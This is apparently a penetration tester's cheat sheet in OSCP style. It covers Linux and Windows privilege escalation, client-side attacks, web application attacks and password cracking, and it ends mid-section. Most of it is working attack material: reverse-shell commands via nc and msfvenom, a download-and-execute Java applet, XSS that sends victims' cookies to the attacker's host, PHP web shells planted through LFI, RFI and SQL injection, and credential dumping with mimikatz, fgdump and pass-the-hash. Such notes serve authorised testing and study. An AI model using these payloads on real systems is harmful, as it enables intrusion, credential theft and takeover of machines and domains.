- `find / -perm -4000 -type f -ls 2> /dev/null` find SUID files that are potentially vulnerable (outdated nmap w/ interactive mode, scripts that give you effective root immediately)

- `find / \( -perm -2003 -o -perm -4003 \) -type f -ls 2> /dev/null` find SUID/SGID files that are both writable and executable (if you are lucky)
- `find / -perm -002 -type f -ls 2> /dev/null | grep cron` find writable cron files (and use it to open a reverse shell)

Writable `/etc/passwd` or `/etc/shadow`

- Writable `/etc/passwd`, write password generated from `openssl passwd [password]` to `root:[here]:0:0:root:/root:/bin/bash`, then login as root using the password.

Find writable tmp folders to do work in:

```
mount | grep /tmp # check if tmp is mounted differently
cd /tmp
# or
cd /var/tmp
```

Are you a sudo user already? Do you have access to powerful commands like chown or chmod?

```
sudo -l
sudo su -
```

Are you part of the sudo group, but not in the sudoers file?

```
id # 27(sudo)
pkexec sh
```

No TTY or PTY, non-interactive? ("no tty present and no askpass program specified") Spawn one:

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Errors about missing files while compiling with gcc? ("gcc: error trying to exec 'cc1': execvp: No such file or directory") Export PATH:

```
export PATH=$PATH
```

Resources:

- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://payatu.com/guide-linux-privilege-escalation/
- http://www.dankalia.com/tutor/01005/0100501004.htm
    - Shell Escape Sequences
        - `vi`
        - `emacs`
        - `find`
        - `awk`
        - `perl`
        - `man`
        - `nmap`
    - IFS Exploit
    - LD_PRELOAD Exploit
    - Abusing users with `.` in their PATH (requires interaction)
    - Symlinks (requires interaction)
- https://www.pentestpartners.com/security-blog/exploiting-suid-executables/

    - Simple PATH SUID Privilege Escalation
- https://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa
    - SUID is ignored on all interpreted (shebang `#!`) executables

Tools:

- https://github.com/sleventyeleven/linuxprivchecker
- https://github.com/rebootuser/LinEnum

SUID Privilege Escalation

Note: `setuid` bit simply allows a script to set the `uid`. The script still needs to call `setuid()` or `setreuid()` to run in the the real uid or effective uid respectively. Without calling `setuid()` or `setreuid()`, the script will still run as the user who invoked the script: https://stackoverflow.com/a/20687988/4908573

Ensure to use "PrependSetuid=true" when generating a binary that is going to be directly used in SUID privilege escalation:

```
msfvenom -p linux/x86/exec cmd=/bin/bash PrependSetuid=true -f elf -o shell
```

Resources:

- https://twitter.com/mubix/status/2049242113777664
- http://linux4dummy.blogspot.sg/2012/05/creating-basic-backdoor-for-linux.html

Or instead of using an "exec" binary to give you a shell, manually setuid in C, compile, run:

```
echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\
sudo chown root:root /tmp/setuid
sudo chmod 4755 /tmp/setuid
/tmp/setuid
```

Simple PATH SUID Privilege Escalation

```
# On Victim
bob@sufferance:~$ ls -l /usr/local/bin/uploadtosecure
-rwsr-xr-x 1 root root 6923 2008-10-07 19:38 /usr/local/bin/uploadtosecure
bob@sufferance:~$ strings /usr/local/bin/uploadtosecure
puts
system
...
Archiving files to secure server...
scp -r file/tobesecured/* 10.192.168.1.23:/var/www/html/files/

# On Kali
msfvenom -p linux/x86/exec CMD=/bin/sh -f elf -o scp

# On Victim
wget 192.168.1.23/scp -O /tmp/scp # transfer the exec binary over to Sufferance
chmod 755 /tmp/scp
export PATH=/tmp:$PATH
/usr/local/bin/uploadtosecure # it'll now call our "special" scp binary in /tmp instead
whoami
```

Bypass Absolute Binary Paths with IFS

If the binary being called is absolute (eg. `/usr/bin/scp`), you can export `IFS=/`. The SUID binary will now execute `usr bin scp`. Drop a `usr` binary into `/tmp` and add it to PATH.

Windows Configuration Issues

Great Resources:

- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- And more listed in the examples below

Weak Service Permissions

NOTE: Hi-priv shell sessions that are created through weak services will die quickly, like in 20-30 sec, make sure to migrate (Meterpreter) to a new process, or start a create a new process by opening another shell with nc.exe

Insecure File/Folder Permissions with `wmic` and `icacls`

Use `icacls [.exe]` to check for insecure permissions such as `Everyone:(I)(F)` within service executables (within `services.msc`), and then with a non-privileged user, replace that file with a malicious file.

Automatically find weak service file permissions with the following:

```
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do
for /f eol^=^"^ delims^=^" %a in (services.txt) do cmd.exe /c icacls "%a" >> permissions.txt
# look for `Everyone:(...)(F)`, `BUILTIN\Users:(...)(F)`, `NT AUTHORITY\Authenticated Users:(...)(M)`, `NT
```

Upload a reverse shell executable and replace the original service executable with the malicious one with `copy useradd.exe C:\the\path\to\service\binary.exe`. The next time the service is started, the malicious executable will run with SYSTEM privileges.

Tools:

- `icacls`

Alternatively, make the current low-priv user an Administrator. Prepare a malicious executable to give bob administrative rights on Kali:

```
#include <stdlib.h>
int main() {
  int i;
  i = system("net localgroup administrators bob /add");
  return i;
}
```

Compile it to an executable using mingw32: `i686-w64-mingw32-gcc -o useradd.exe useradd.c`

Resources:

- http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

Insecure Service Permissions with `accesschk.exe` and `sc`

```
accesschk.exe -accepteula
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
# find a service that returns `SERVICE_ALL_ACCESS`.
sc qc Apache # query the service to check whether it runs as system, it's binary path, etc.
sc config Apache binPath= "C:\Windows\TEMP\nc.exe 192.168.1.23 4444 -e cmd.exe" # or "net localgroup admin
sc config Apache obj= ".\LocalSystem" password= "" # this makes the service run as SYSTEM. do this for ser
sc config Apache start= demand # this allows a service to be started. do this if a service is disabled
# restart service
```

Windows XP SP0 & SP1 UPNP (upnphost) and SSDP Discovery (ssdpsrv) Services have insecure service permission. They allow "Authenticated Users" to modify the services. It can be used as a universal local privilege escalation vulnerability. Note, upnphost requires ssdpsrv to start first.

Tools:

- `accesschk.exe`
- `sc`
- Metasploit Module: `exploit/windows/local/service_permissions`

Resources:

- http://www.fuzzysecurity.com/tutorials/16.html
- https://pentestlab.blog/2017/03/30/weak-service-permissions/
- https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
- Enable a disabled service with sc, other options here as well: http://www.itprotoday.com/management-mobility/how-can-i-configure-services-start-type-command-line
- UPNP (upnphost) requires SSDP Discovery (ssdpsrv) to start: https://www.pcreview.co.uk/threads/upnp-service-not-starting.2694748/
- SSDP Discovery service name is ssdpsrv: https://computerstepbystep.com/ssdp_discovery_service.html

Unquoted Services

Find services that are unquoted:

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |fin
```

When Windows attempts to run these services, it will look at the following paths in order and run the first executable that it finds. Just imagine splitting the string with a space:

```
# C:\Program Files (x86)\Program Folder\A Subfolder\Another Subfolder\Executable.exe
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Another.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Another Subfolder\Executable.exe
```

```
icacls "C:\Program Files (x86)\Program Folder\A Subfolder"
# look for `Everyone:(...)(F)`, `BUILTIN\Users:(...)(F)`, `NT AUTHORITY\Authenticated Users:(...)(M)`, `NT
# drop a malicious executable at "C:\Program Files (x86)\Program Folder\A Subfolder\Another.exe" that spaw
# restart service
```

Tools:

- `wmic service`
- `icacls`
- Metasploit Module: `exploit/windows/local/trusted_service_path`

Reference:

- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

AlwaysInstallElevated

```
# On Windows:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# if key is found, the following is produced:
# HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
#    AlwaysInstallElevated    REG_DWORD    0x1
# if not found:
# ERROR: The system was unable to find the specified registry key or value.

# On Kali, generate a msi that will call a reverse shell
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=[kali ip] LPORT=[port] -f exe -o payload
msfvenom -p windows/exec cmd="C:\Users\bob\AppData\Local\Temp\Payload.exe" -f msi-nouac -o shell.msi
# transfer both to "C:\Users\bob\AppData\Local\Temp\"

# On Windows:
msiexec /quiet /qn /i "C:\Users\bob\AppData\Local\Temp\malicious.msi" # /quiet - Suppress messages to the
```

Tools:

- Metasploit Module: `exploit/windows/local/always_install_elevated`

Resources:

- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

DLL Hijacking

Order in which Windows finds a DLL:

1. The directory from which the application loaded

2. 32-bit System directory (C:\Windows\System32)
3. 16-bit System directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. The current working directory (CWD)
6. Directories in the PATH environment variable (system then user)

Sometimes, a DLL does not exist on the machine. As a low privilege user we have little hope of putting a malicious DLL in 1-4, 5 is not a possibility in this case because we are talking about a Windows service but if we have write access to any of the directories in the Windows PATH we win.

We'll need 2 things, a writable file/folder in %PATH% ("C:\Python27"), and a vulnerable service/application that has missing DLLs (IKEEXT):

```
echo %path%
# Find a non-default directory in "C:\", it will give write access to authenticated users.
cacls "C:\Python27"
msfvenom -p windows/shell_reverse_tcp lhost=[kali ip] lport=[port] -f dll -o shell.dll # on Kali
copy shell.dll C:\Python27\wlbsctrl.dll
# restart IKEEXT service
```

Resources:

- http://www.fuzzysecurity.com/tutorials/16.html
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
- ExploitDB: https://www.exploit-db.com/dll-hijacking-vulnerable-applications/
- `searchsploit [program] dll`. Find ones that has "DLL Hijacking" in the name

Task Scheduler Weak File/Folder Permissions

```
schtasks /query /fo LIST /v
# Look at the "Task To Run" within the task list. Eg: E:\GrabLogs\tftp.exe 10.1.1.99 GET ...
cacls "E:\GrabLogs"
# If Authenticated Users or Users or equivalent has modify permissions, simply replace the binary within w
copy shell.exe E:\GrabLogs\tftp.exe
```

Stored Credentials

```
dir c:\*pass*.txt /s /b
dir c:\*vnc.ini /s /b /c
dir c:\*ultravnc.ini /s /b /c
dir c:\ /s /b /c | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
type C:\unattend.xml
type C:\sysprep.inf
type C:\sysprep\sysprep.xml
```

Retrieving credentials stored within GPP files from Domain Controller:

```
net use z: \\dc01\SYSVOL # whr dc01 is the Domain Controller
cd C:\Windows\SYSVOL # or cd in, if you are the Domain Controller already
dir /s Groups.xml
findstr -si cpassword C:\..\Groups.xml
# within Groups.xml file, find "cpassword", then gpp-decrypt them on kali
```

Administrator to SYSTEM (Not Required) (Not an Issue)

Task Scheduler

This method only works on a Windows 2000, XP, or 2003 machine. And this requires local administrator access. Creates a high-priv shell using task scheduler.

```
time
# set the following to 1min after current time
at 01:23 /interactive "C:\shell.exe" # to open reverse shell
at 01:23 /interactive cmd.exe # to open cmd with System privileges, only works when you have GUI
```

Resources:

- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Reconfigure a Service

Refer to Insecure Service Permissions.

Useful Cmd Commands

Restarting a Windows service methods:

```
sc query Apache # check service status

sc stop Apache && sc start Apache
net stop Apache && net start Apache
wmic service Apache call startservice
shutdown /r /t 0 # last resort, reboot, or just wait for user to reboot
```

Preparation of adding a non-privileged user and allowing remote desktop connection:

```
net user bob bob /add
net localgroup "Remote Desktop Users" bob /add
# runas /user:bob cmd.exe # to use a shell instead of remote connection
```

Adding user to local administrators group:

```
net localgroup administrators bob /add
```

Creating a Domain Admin user and login to other servers within the domain. By default, Domain Admins group is part of every server's local Administrator group within the domain.

```
net user testing 1qwer$#@! /add /domain
net group "Domain Admins" testing /add /domain
# rdesktop -u '[domain]\testing' -p '1qwer$#@!' [ip of server part of domain] # on kali
# Start > Right-Click Command Prompt > Run as Administrator # Even as a domain admin, you'll have to manua
```

Connecting using RDP (TCP Port 3389) on Kali. Do note, if password is wrong, `xfreerdp` will return error code `0x20009`, note if password is correct however server disables local logins, `xfreerdp` will open the session, but within the session, it'll say "The user name or password is incorrect". Meaning that your passwords may be correct, even if RDP isn't allowed.

```
rdesktop -u Administrator -p abc123 192.168.1.23
rdesktop -u 'thinc\testing' -p '1qwer$#@!' 192.168.1.23 # where thinc is the domain. if thinc doesn't work
xfreerdp /u:testing /d:thinc /p:'1qwer$#@!' /v:192.168.1.23
xfreerdp /u:testing /d:thinc /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.1.23 # PTH method
```

Checking firewall rules:

```
# Deprecated firewall command
netsh firewall set opmode mode=disable exceptions=disable # disable firewall, requires priv

# Newer advfirewall
netsh advfirewall set currentprofile state off # disable firewall, requires priv
netsh advfirewall firewall show rule name=all | find "Rule Name:" | find "NameLookingFor" # search for a r
```

Finding a file

```
dir /s proof.txt # /s recursive
dir /s /a proof.txt # /s recursive, /a attributes (show all hidden and system files as well)
```

Finding strings

```
findstr /i "hello" filename # /i for ignore case
findstr /si "hello" # /i for ignore case, /s for recursive
```

Opening a file in notepad (requires GUI):

```
start notepad filename
```

Shortnames when changing directories or during directory path traversal:

```
# C:\Program Files\A Pro Gram\
# 6 first chars + ~1
cd C:\PROGRA~1\APROGR~1\
```

Finding Windows version with only hard drive access:

```
type C:\Windows\System32\eula.txt
```

Client Side Attacks

Know Your Target

Passive Client Information Gathering

Find information online about the target, such as browser version from websites that collect user agent data.

Active Client Information Gathering

Social engineering, calling the company as a support technician in an attempt to extract useful information from the person on the other side of the line. Or sending them an email, with hope for a response or a link click, that would enumerate the user's browser version and installed extensions.

MS12-037 - Internet Explorer 8 Fixed Col Span ID

https://www.exploit-db.com/exploits/24017/

Host the malicious page and visit it. Bind shell open on port 4444.

To swap out shellcode, ensure the new shellcode is of the same size as the exploit apparently bypasses ASLR and DEP, and it also mentions it will be more reliable if it was the same size.

For that, generate the following Windows reverse shell, in Javascript unicode format, with no encoding:

```
msfvenom -p windows/shell_reverse_tcp LHOST=[kali ip] LPORT=443 -f js_le -e generic/none
```

Since the payload is 18 bytes smaller, pad it with 18 NOPs: `%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090`

Java Signed Applet Attack

Java.java

```
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.util.*;

/**
 * Author: Offensive Security
 * This Java applet will download a file and execute it.
 **/

public class Java extends Applet {
    private Object initialized = null;
    public Object isInitialized()
    {
        return initialized;
    }
    public void init() {
        Process f;
        try {
            String tmpdir = System.getProperty("java.io.tmpdir") + File.separator;
```

```
                String expath = tmpdir + "evil.exe";
                String download = "";
                download = getParameter("1");
                if (download.length() > 0) {
                    // URL parameter
                    URL url = new URL(download);
                    // Get an input stream for reading
                    InputStream in = url.openStream();
                    // Create a buffered input stream for efficency
                    BufferedInputStream bufIn = new BufferedInputStream(in);
                    File outputFile = new File(expath);
                    OutputStream out = new BufferedOutputStream(new
                            FileOutputStream(outputFile));
                    byte[] buffer = new byte[2048];
                    for (;;) {
                        int nBytes = bufIn.read(buffer);
                        if (nBytes <= 0) break;
                        out.write(buffer, 0, nBytes);
                    }
                    out.flush();
                    out.close();
                    in.close();
                    f = Runtime.getRuntime().exec("cmd.exe /c " + expath + " 192.168.1.23 443 -e cmd.exe"); //
                }
            } catch(IOException e) {
                e.printStackTrace();
            }
            /* ended here and commented out below for bypass */
            catch (Exception exception)
            {
                exception.printStackTrace();
            }
        }
}
```

```
javac -source 1.7 -target 1.7 Java.java # compile to class
echo "Permissions: all-permissions" > /root/manifest.txt
jar cvf Java.jar Java.class # compress class into jar
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123
jarsigner -keystore mykeystore -keypass mykeypass -storepass password123 -signedjar SignedJava.jar Java.ja
mv Java.class SignedJava.jar /var/www/html/
echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe
```

Web Application Attacks

Essential Firefox Add-ons

- Cookie Manager+
- Tamper Data

XSS

Browser Redirection and IFRAME Injection

Forcing a victim to visit a webpage. Use an IFRAME as it is stealthy. This redirection may be used to redirect a victim browser to a client side attack or to an information gathering script. Listen for the connection: `nc -lvp 80`

```
<iframe SRC="http://[your ip]/report" height="0" width="0"></iframe>
```

Tools:

- User Agent Parser: https://developers.whatismybrowser.com/useragents/parse/#parse-useragent (for exploiting outdated clients)

Stealing Cookies and Session Information

GET Request

```
<script>new Image().src="http://[your ip]/bogus.php?output="+document.cookie;</script>
```

POST Request

```
var http = new XMLHttpRequest();var url = "/flatfilelogin/shout.php";var params = "input_name=stolen&input_
```

File Inclusion

Local File Inclusion (LFI)

Ability to "include" any local file in the filesystem and execute PHP code within the included files.

Vulnerability:

```
if (isset( $_GET['LANG'] ) ) { $lang = $_GET['LANG'];}
else { $lang = 'en';}
include( $lang . '.php' );
```

With this, you can access files that are on the system by changing the value of the `LANG` attribute and using directory path traversal. But notice in the vulnerable code, it appends `.php` to the end, to bypass that in PHP versions below 5.3, use a null byte (`%00`):

```
LANG=../../../../../../../../windows/system32/drivers/etc/hosts%00
```

If we could get PHP code written to somewhere on the server filesystem, we can get a shell. Assuming, we can't directly upload a file to the remote filesystem, we can contaminate log files to include PHP code:

```
$ nc 192.168.1.23 80
<?php echo shell_exec($_GET['cmd']);?>


HTTP/1.1 400 Bad Request
```

This connection results in the following text written to the Apache log files located in `C:\xampp\apache\logs\access.log` , effectively introducing PHP code into a file on the local filesystem of the webserver:

```
192.168.1.23 - - [17/Apr/2013:06:22:00 -0400] " <?php echo shell_exec($_GET['cmd']);?>" 400 1047
```

Let's try including that log file and executing the malicious PHP code stored within it, by putting the pathname into the `LANG` attribute, and putting `ipconfig` in the `cmd` attribute:

```
http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=ipconfig&LANG=../../../../../../../xampp/apache/.
```

The result may be a little hard to see, as the entire log file will be dumped along with the command's output.

Let's get a shell now by transferring over "nc.exe" to the webserver using the TFTP technique. First, start the TFTP server on the attacker machine with `atftpd --daemon --port 69 /tftp` and copying "nc.exe" over to the hosting directory with `cp /usr/share/windows-binaries/nc.exe /tftp`. Now execute the `tftp` on the webserver using LFI. Remember to URL encode the command string within the "cmd" attribute:

```
http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=tftp+-i+[kali ip]+get+nc.exe&LANG=../../../../..
```

The webpage will start to hang for a while, as it awaits the output from the `tftp` command that is downloading "nc.exe". Once done, execute the downloaded "nc.exe" and create a reverse shell:

```
http://192.168.1.23/addguestbook.php?name=hi&comment=&cmd=nc.exe+[kali ip]+[port]+-e+cmd.exe&LANG=../../..
```

LFI Summary

Techniques

```
param=/etc/passwd
param=/etc/passwd%00 # null byte terminate
param=../../../../../../etc/passwd%00 # directory traversal
param=php://filter/convert.base64-encode/resource=/etc/php5/apache2/php.ini%00 # filter, for files that co
param=expect://whoami # expect wrapper, direct code execution, not enabled by default
param=php://input # php code execution, send php code in POST data `<? system('wget http://192.168.183.129
param=/proc/self/environ # if readable, write php code in "User Agent" data, and it'll appear within envir
param=/proc/self/fd/0 # if readable, write php code in "referer" data, and it'll appear within file descri
param=/var/lib/php/session # php sessions
param=/tmp/ # php sessions
```

Also phpinfo() pages can be exploited in LFI as well. phpinfo() script contains the values of PHP variables, INCLUDING any values set via GET, POST or uploaded FILES. Creating tmp files, getting the location of them, and performing LFI on them leads to code execution. https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

Log Poisoning

```
# Default Locations
RHEL / Red Hat / CentOS / Fedora Linux Apache log file location   /var/log/httpd/access_log     /var/log/h
Debian / Ubuntu Linux Apache log file location                    /var/log/apache2/access.log   /var/log/a
FreeBSD Apache log file location                                  /var/log/httpd-access.log     /var/log/h

# For custom log locations, find the "CustomLog" and "ErrorLog" definitions within these files:
/usr/local/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf

# Windows web roots
C:/xampp/htdocs/
C:/wamp/www/
C:/Inetpub/wwwroot/
```

`fimap`

```
fimap -s -u 'http://192.168.1.23/classes/phpmailer/class.cs_phpmailer.php?classes_dir='
```

Remote File Inclusion (RFI)

Ability to "include" remote files and execute PHP code within the included files. Easier to exploit, but less common than LFIs.

Just like getting a shell with LFI, start the TFTP server and prepare "nc.exe". Also, prepare a malicious file called "evil.txt" and host it within the attacker's webserver and start apache with `service apache2 start`:

```
<?php echo shell_exec("tftp -i [kali ip] get nc.exe");?>
```

Call the webpage to include "evil.txt" and execute the PHP code within it to download "nc.exe" from our machine using `tftp`. It may take a sec to download:

```
http://192.168.1.23/addguestbook.php?name=hi&comment=&LANG=http://[kali ip]/evil.txt%00
```

Change "evil.txt" on the attacker's webserver to invoke the `nc.exe` command:

```
<?php echo shell_exec("nc.exe [kali ip] [port] -e cmd.exe");?>
```

Prepare a listener and refresh the webpage to pop a reverse shell.

RFI Summary

Alternatively, to avoid constantly changing the php file, host this instead, and visit `http://192.168.1.23/addguestbook.php?name=hi&comment=&LANG=http://[kali ip]/evil.txt%00&cmd=whoami`. Change `cmd` to the command you want to execute:

```
<?php echo shell_exec($_GET['cmd']);?>
```

```
# Data wrapper allows for direct code execution
param=data:text/plain,<?system($_GET['x']);?>&x=whoami
```

```
param=data:,<?system($_GET['x']);?>&x=whoami
param=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls
```

SQL

Simple Authentication Bypass

```
select * from users where name='?' and password='?';
select * from users where name='wronguser' or 1=1;#' and password='?';
select * from users where name='wronguser' or 1=1 limit 1;#' and password='?'; # when server expects 1 resu
```

Database Enumeration and Extraction

```
select * from comments where id=?;
select * from comments where id=738'; # test for sql injection
select * from comments where id=738 order by 6; # enumerate number of columns
select * from comments where id=738 union select 1,2,3,4,5,6; # union select with same number of columns, 
select * from comments where id=738 union select 1,2,3,4,@@version,6; # discover MySQL version
select * from comments where id=738 union select 1,2,3,4,user(),6; # discover current user being used for 
select * from comments where id=738 union select 1,2,3,4,table_name,6 from information_schema.tables; # du
select * from comments where id=738 union select 1,2,3,4,column_name,6 from information_schema.columns whe
select * from comments where id=738 union select 1,2,3,4,concat(name,0x3a,password),6 from users; # dump u
```

Reading Files with SQLi

```
select * from comments where id=738 union select 1,2,3,4,load_file('c:/windows/system32/drivers/etc/hosts'
```

Writing Files with SQLi

```
select * from comments where id=738 union select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into ou
```

```
192.168.1.23/backdoor.php?cmd=ipconfig
```

MSSQL Xp_Cmdshell and Dumping

```
nmap -T4 -n -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=abc,ms-sql-
nmap -T4 -n -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=abc 192.168.1.23
nmap -T4 -n -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=abc,mssql.databas
```

MySQL CLI

Low-priv shells may not be interactive, so remember to use `-e` to execute SQL queries:

```
mysql -uroot -pzaq1xsw2cde3 -e 'show databases;'
mysqladmin -u root password YOURNEWPASSWORD # resetting root password, good for post exploitation, may not
```

Unlike MSSQL, MySQL can't directly execute commands, but with UDF (user defined funtion), command execution will be possible.

- mysqladmin -u root password YOURNEWPASSWORD
- https://www.rapid7.com/db/modules/exploit/multi/mysql/mysql_udf_payload
- http://bernardodamele.blogspot.sg/2009/01/command-execution-with-mysql-udf.html

- https://hackmag.com/security/hacking-mysql-databases-methods-and-tools/

Oracle

Four things to connect to an Oracle DB:

1. IP

2. Port

3. Service Identifier (SID) (Database)

4. Username/Password

5. Determine Oracle version

- nmap
- auxiliary/scanner/oracle/tnslsnr_version

2. Determine Oracle SID

- oscanner
- auxiliary/scanner/oracle/sid_enum
- auxiliary/scanner/oracle/sid_brute

3. Guess/Bruteforce User/Pass

- oscanner
- auxiliary/scanner/oracle/oracle_login

4. Privilege Escalation via PL/SQL Injection

- auxiliary/sqli/oracle/lt_findricset_cursor

5. Manipulate Data/Post Exploitation
6. Cover Tracks

Resources:

- Oracle Hacking Methodology with Metasploit: http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf
- Sqlplus and code execution example: https://www.adampalmer.me/iodigitalsec/2013/08/12/first-steps-in-oracle-penetration-testing/
- Setting up Oracle in Kali: https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux (felt troublesome, didn't install)
- Setting up Oracle in Kali 2.0: https://blog.zsec.uk/msforacle/

Tools:

- Oscanner: https://tools.kali.org/vulnerability-analysis/oscanner
    - `oscanner -s 192.168.1.23 -P 1521`
- DBPwAudit: https://tools.kali.org/vulnerability-analysis/dbpwaudit

Other Notes

Web Application Proxies

- Firefox > Alt > Tools > Tamper Data > Start Tamper
- BurpSuite

BurpSuite

Wonderful tool, great for SQLi, RFI, LFI, remote code execution, and nearly all web attacks.

- Proxy
- Repeater
  - Ctrl-r to send request to repeater
  - Ctrl-g to go in repeater, manually set in User Options (Tab) > Misc > Hotkeys > Edit hotkeys > Issue Repeater request > Ctrl-g
  - Ctrl-u to URL encode

Automated SQL Injection Tools

```
sqlmap -u http://192.168.1.23 --crawl=1 # crawls link with depth 1 and automatically find GET SQLi
sqlmap -u http://192.168.1.23/comment.php?id=738 --dbms=mysql --dump --threads=5
sqlmap -u http://192.168.1.23/comment.php?id=738 --dbms=mysql --os-shell
sqlmap -u http://192.168.1.23/login.php --data='username=john&password=smith' # POST using data
sqlmap -r login_request -p username,password # POST, using a BurpSuite request
```

Password Attacks

Preparing for Brute Force

Dictionary Files

`/usr/share/wordlists/`

Key-space Brute Force

```
crunch 6 6 0123456789ABCDEF -o crunch1.txt # length 6 0-9A-F
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt # length 4 a-zA-Z
crunch 0 0 -p test ing 123 # crunch will find all combinations of those 3 words, eg. 123ingtest
```

If a pattern is found within passwords you cracked like:

```
david: Abc$#123
mike: Jud()666
Judy: Hol&&278
```

We can generate a customized password list:

```
# @ - Lower case alpha characters
# , - Upper case alpha characters
# % - Numeric characters
# ^ - Special characters including space

crunch 8 8 -t ,@@^^%%% # this will generate 160GB of data
```

Pwdump and Fgdump

Password Hash Types in Security Accounts Manager (SAM) Database:

- LAN Manager (LM)
  - DES
  - Windows NT-2003
  - Passwords longer than 7 chars split into two strings and is hashed separately
  - Passwords converted to uppercase before hashing

    - No salt
- NT LAN Manager (NTLM)
    - MD4
    - Windows Vista+
    - No limit to two 7 char parts
    - Case sensitive
    - No salt

SAM db cannot be copied while OS is running, however in-memory attacks to dump the hashes can be mounted using various techniques. Pwdump and fgdump are good examples of tools that are able to perform in-memory attacks, as they inject a DLL containing the hash dumping code into the Local Security Authority Subsystem (LSASS) process, which has the necessary privileges to extract the hashes.

Fgdump and pwdump are similar, but fgdump attempts to kill local AV before attempting to dump the hashes and handle cached passwords and protected storage data as well. http://foofus.net/goons/fizzgig/

```
fgdump.exe
```

You can crack them online at http://cracker.offensive-security.com/ or use `john [hashes]` on Kali.

```
Jason:502:aad3c435b514a4eeaad3b935b51304fe:c46b9e588fa0d112de6f59fd6d58eae3:::
[username]:[relative identifier (500 - admin, 502 - kerboros)]:[LM hash]:[NT hash]
```

Windows Credential Editor (WCE)

WCE can steal NTLM credentials from memory and dump cleartext passwords stored by Windows authentication packages installed on the target system such as msv1_0.dll, kerberos.dll, and digest.dll.

```
wce -l # default, dumps NTLM hashes fromm LSASS process memory, more secure in terms of OS stability
wce -w # dumps plaintext passwords using DLLs
```

https://www.ampliasecurity.com/research/windows-credentials-editor/

mimikatz

```
privilege::debug

# Dump Passwords
sekurlsa::logonpasswords

# Passing the Hash
sekurlsa::pth /user:Administrator /domain:{domain name, eg. winxp} /ntlm:{ntlm hash here} /run:cmd

# krbtgt hash (Domain Controller)
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
```

More Active Directory

- mimikatz (meterpreter modules)
- mimikatz (manual lsadump)
- `post/windows/gather/smart_hashdump`
- `post/windows/gather/credentials/gpp` or `cd "C:\Windows\SYSVOL" && dir /s Groups.xml` then `gpp-decrypt [cpassword]` on Kali
- `post/windows/escalate/golden_ticket`

14.1.4.1 - Passing the Hash (PTH)

Authenticate using a NT/LM hash instead of the plaintext password, saving time and effort.

Refer to SMB enumeration section:

- `CrackMapExec`
- `smbmap`
- `smbclient`
- `pth-winexe`
- `exploit/windows/smb/psexec`

Password Profiling with `cewl` and `john`

```
cewl www.conglomerate.com -m 6 -w conglomerate-cewl.txt # scrape and generate password list from words fou
# Add two numbers to the end of each password
# $[0-9]$[0-9] # add this line to /etc/john/john.conf to mutate our dictionary with 2 appended digits
john --wordlist=conglomerate-cewl.txt --rules --stdout > mutated.txt
```

Online Password Attacks

14.2.1.1 - `medusa`

```
medusa -d # list modules. modules available: cvs, ftp, http, imap, mssql, mysql, nntp, pcanywhere, pop3, p
medusa -h 192.168.1.23 -u admin -P password-file.txt -M http -m DIR:/admin -T 20 # http brute force passwo
medusa -h 192.168.1.23 -p admin -U user-file.txt -M http -m DIR:/admin -T 20 # http brute force username
```

14.2.1.2 - `ncrack`

```
